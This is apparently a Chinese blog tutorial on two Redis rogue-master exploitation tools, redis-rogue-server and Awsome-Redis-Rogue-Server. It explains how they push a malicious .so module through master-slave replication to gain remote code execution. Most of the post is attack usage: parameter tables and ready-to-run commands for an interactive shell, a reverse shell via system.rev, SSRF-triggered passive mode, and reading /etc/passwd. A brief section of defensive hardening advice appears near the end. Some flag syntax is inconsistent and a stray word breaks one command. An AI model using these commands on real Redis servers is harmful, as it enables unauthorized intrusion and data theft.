工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》

1. 核心功能与攻击场景

  • redis-rogue-server

    基于Redis主从复制漏洞(CVE未公开),针对Redis 4.x~5.0.5版本设计,通过伪造恶意主节点强制同步恶意模块(.so文件)实现远程代码执行(RCE)。

    • 适用场景
      • 主动模式:攻击外网暴露的未授权Redis或已知弱密码的实例,直接建立主从关系。
      • 被动模式:通过SSRF或内网横向移动,诱导目标Redis反向连接攻击者控制的恶意主节点。
    • 技术特点
      • 内置编译好的恶意模块(如exp.so),支持生成反弹Shell或执行系统命令。
      • 支持交互式Shell(直接命令执行)或反向Shell(绕过防火墙限制)。
  • Awsome-Redis-Rogue-Server

    在原版基础上优化,支持更复杂的Redis认证场景(如存在密码保护的实例),并修复部分兼容性问题。

    • 核心改进
      • 增加对密码认证Redis实例的利用能力,通过--passwd参数指定密码。
      • 优化模块加载逻辑,减少因网络波动导致的同步失败。
    • 应用场景
      • 针对企业内网中配置了密码但未限制主从复制的Redis实例。
      • 结合Redis横向渗透工具(如RedisScanner)批量探测并攻击。

2. 使用流程与工具差异

对比项 redis-rogue-server Awsome-Redis-Rogue-Server
依赖文件 需预编译.so模块(或使用自带exp.so 同左,但优化模块兼容性
密码支持 有限支持(需手动修改代码或参数) 原生支持--passwd参数指定密码
攻击模式 主动/被动模式 同左,增加对认证流程的自动化处理
适用Redis版本 4.x-5.0.5 扩展至部分5.0.5+版本(需测试)
典型命令 python3 redis-rogue-server.py --rhost <目标IP> python3 redis_rogue_server.py -rhost <目标IP> -passwd <密码>

3. 防御建议与漏洞修复

  • 禁用高危命令 :通过rename-command重命名或禁用MODULESLAVEOF等指令。
  • 强制认证 :设置requirepass强密码,并启用masterauth保证主从通信安全。
  • 网络隔离:限制Redis端口仅对可信IP开放,避免暴露公网。
  • 升级修复:升级至Redis 7.4.2+/7.2.7+修复Lua引擎漏洞(如CVE-2024-46981)。

总结

两者均利用Redis主从复制的设计缺陷实现RCE,但Awsome-Redis-Rogue-Server 更适用于复杂认证环境,而redis-rogue-server更适合快速测试未授权场景。防御需结合访问控制、日志监控与版本升级,避免恶意模块加载和横向渗透。


redis_rogue_server.py 参数解析

该文件位于Awsome-Redis-Rogue-Server项目中。

1. 基本参数
参数 描述 示例
-rhost 目标Redis服务器的IP地址。 -rhost 192.168.1.100
-rport 目标Redis服务器的端口(默认6379)。 -rport 6379
-lhost 攻击者主机的IP地址(用于反向Shell或模块同步)。 -lhost 10.0.0.1
-lport 攻击者主机的监听端口(默认15000)。 -lport 21000
-passwd Redis实例的认证密码(若目标Redis设置了密码)。 -passwd redis123
-sofile 指定恶意模块文件(如exp.so)。 -sofile ./exp.so
-path 指定恶意模块文件路径(如 exp.so),该模块通常包含远程代码执行函数(如 system.exec),程序到路径中加载文件。 -path exp.so
-v 详细输出模式,用于显示攻击过程中的调试信息,如连接状态、命令执行细节、模块加载进度等。 -v
2. 高级参数
参数 描述 示例
--command 直接执行系统命令(无需加载模块)。 --command "id"
--function 调用模块中的特定函数(如system.exec)。 --function system.exec
--backupfile 指定目标Redis持久化文件的备份路径(用于恢复数据)。 --backupfile /tmp/dump.rdb
--interactive 启用交互式Shell(加载模块后)。 --interactive
3. 使用示例
bash 复制代码
# 主动模式(外网/已知密码):加载 exp.so 模块,获取交互式 
# 功能:通过主从复制加载恶意模块,直接进入交互式 Shell。
# 场景:外网 Redis 未授权或已知弱密码。
Shell python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd redis123 -sofile exp.so --interactive


# 被动模式(内网/SSRF诱导):仅启动恶意主节点,等待目标 Redis 反向连接 
# 功能:通过 SSRF 或内网横向移动诱导目标 Redis 连接恶意主节点。
# 场景:目标 Redis 处于内网且无法直接访问。
python3 redis_rogue_server.py --server-only -lhost 10.0.0.1 -lport 21000


# 反向 Shell 反弹:监听 4444 端口,触发目标反弹 Shell 
# 功能:利用模块中的 `system.rev` 函数建立反向 Shell。
# 场景:绕过防火墙限制或权限维持。
python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev


# 快速命令执行:直接执行系统命令(无需加载模块)
# 功能:快速验证漏洞或执行单条命令。
# 场景:应急响应或自动化渗透测试。
python3 redis_rogue_server.py -rhost 192.168.1.100 -command "cat /etc/passwd"


# 调用自定义模块的特定函数:
# 说明:适用于绕过 WAF 或实现隐蔽攻击。
python3 redis_rogue_server.py -rhost 192.168.1.100 -sofile custom.so --function custom_cmd --command "rm -f /tmp/lock"


# 攻击前备份目标 Redis 数据 
# 说明:避免攻击导致业务中断,需提前验证备份文件完整性。
python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/dump.rdb
4. 注意事项
  • 恶意模块exp.so 需提前编译,包含 system.exec 等函数。
  • 网络权限 :确保攻击者主机(lhost)可被目标Redis访问(用于反向Shell或模块同步)。
  • 数据备份 :攻击前建议备份目标Redis数据(--backupfile),避免数据丢失。
相关推荐
He_Donglin几秒前
现代密码学 | 具有保密和认证功能的安全方案
安全·密码学
狼头长啸李树身4 分钟前
机器人交社保属于“无稽之谈”?
网络·机器人·媒体
椰椰椰耶6 分钟前
【redis】hash基本命令和内部编码
redis·bootstrap·哈希算法
菜萝卜子8 分钟前
【NoSql】Redis
数据库·redis·nosql
yqcoder34 分钟前
Redis 的特点
数据库·redis·缓存
yczykjyxgs1 小时前
边缘计算与 PCDN 的融合:未来网络架构新趋势
网络·人工智能·边缘计算
斯密码赛我是美女2 小时前
响应(Response)
笔记·安全
珹洺2 小时前
计算机网络:(一)详细讲解互联网概述与组成 (附带图谱更好对比理解)
服务器·开发语言·网络·数据库·后端·计算机网络·php
夜泉_ly3 小时前
项目日记 -云备份 -项目认识与环境搭建
linux·网络·c++
敲键盘的Q3 小时前
【eNSP实战】三层交换机使用ACL实现网络安全
网络